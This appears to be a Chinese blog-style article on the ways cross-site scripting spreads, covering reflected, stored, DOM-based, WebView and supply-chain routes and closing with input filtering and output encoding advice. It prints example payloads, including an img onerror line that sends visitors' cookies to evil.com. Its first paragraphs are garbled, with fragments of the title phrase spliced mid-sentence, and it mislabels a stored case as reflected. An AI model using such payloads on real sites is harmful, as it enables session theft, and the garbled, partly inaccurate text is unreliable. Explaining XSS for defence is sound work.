跨站脚本攻击有哪些传播途径

跨站脚本攻击（XSS）的跨站传播途径，本质上就一句话：攻击者把恶意脚本“塞”进一个可信页面，脚本径然后让别的攻击用户去打开它。但“塞”的有传方式五花八门，我见过最蠢的播途案例是某论坛把用户昵称直接拼进HTML，结果有人把昵称改成<script>alert(1)</script>，跨站整个版块炸了锅——这就是脚本径最经典的反射型XSS，也是攻击传播链的起点。

反射型XSS的有传传播靠的是“诱骗点击”。攻击者构造一个带恶意参数的播途URL，比如https://example.com/search?跨站q=<script>...</script>，然后通过短信、脚本径邮件、攻击微信群发出去。有传受害者点开链接，播途服务器把参数原样返回页面，脚本就在他的浏览器里执行了。这种攻击的传播效率其实不高——你得让用户主动点你发的链接，而且链接长得可疑，很多人会警惕。但2021年某电商平台的一次活动页就栽在这上面，攻击者把恶意链接伪装成“优惠券领取”，短链接一压缩，点击率惊人。

真正让XSS“传播”起来的是存储型XSS——恶意脚本被永久保存在目标服务器上，比如评论区、个人资料、商品描述。我研究过一个真实案例：某二手交易平台，卖家在商品标题里插入<img src=x onerror=“fetch(‘//evil.com/steal?cookie=’+document.cookie)”>，买家只要浏览这个商品页，cookie就被偷走。更狠的是，如果这个平台有“浏览记录”功能，脚本还能顺着用户的浏览历史，把恶意载荷塞进其他用户的页面里——这就形成了“用户传染用户”的链式传播。存储型XSS的恐怖之处在于，它不需要受害者做任何操作，打开页面就中招，而且污染源一直在那，每个访问者都是新的传播节点。

还有一条容易被忽视的路：基于DOM的XSS。它不经过服务器，纯粹是前端JavaScript把URL参数、localStorage里的数据、甚至window.name当成了可信输入。比如某个单页应用用location.hash渲染页面标题，攻击者构造https://site/#/profile/<script>...</script>，用户点开链接，前端脚本直接把这个值插入DOM——服务器日志里干干净净，防火墙完全没反应。这种攻击的传播往往靠“分享功能”，比如聊天工具里自动抓取链接预览，预览引擎一访问，脚本就执行了，然后预览图又被转发给更多人。

别以为移动端就安全。WebView的漏洞让XSS能直接穿透到原生代码层——攻击者通过一个恶意网页，调用Android的addJavascriptInterface接口，直接读取通讯录、发短信。这类攻击的传播经常藏在“扫码领红包”里，二维码本身就是个天然跳板，扫完就打开恶意页面，防不胜防。

最后说个冷门的：第三方组件污染。很多网站用第三方统计脚本、聊天插件、广告SDK，这些外部资源一旦被劫持或本身就带漏洞，等于给所有嵌入它的网站开了后门。2018年某知名前端库被植入恶意代码，所有用CDN引用的网站全部中招——这不是单个站点的传播，而是“供应链式”的批量感染。你想想，一个开发者写了个恶意npm包，名字跟某个热门库只差一个字母，有人手滑装错了，他网站的每个访客都成了攻击者的肉鸡。

说到底，XSS的传播途径虽然多，但核心逻辑就一句话：凡是用户输入能影响页面输出的地方，都是潜在的高速公路。别迷信WAF，别依赖框架自带的转义——你得把每个输入点都当成“敌人已经控制的变量”来对待。我见过太多开发者在“自己内部系统”上栽跟头，觉得“只有管理员能访问”就没事，结果一个CSRF配合存储型XSS，管理员账号照样沦陷。传播途径再多，防住“输入过滤”和“输出编码”这两道关，就能堵住九成以上的路。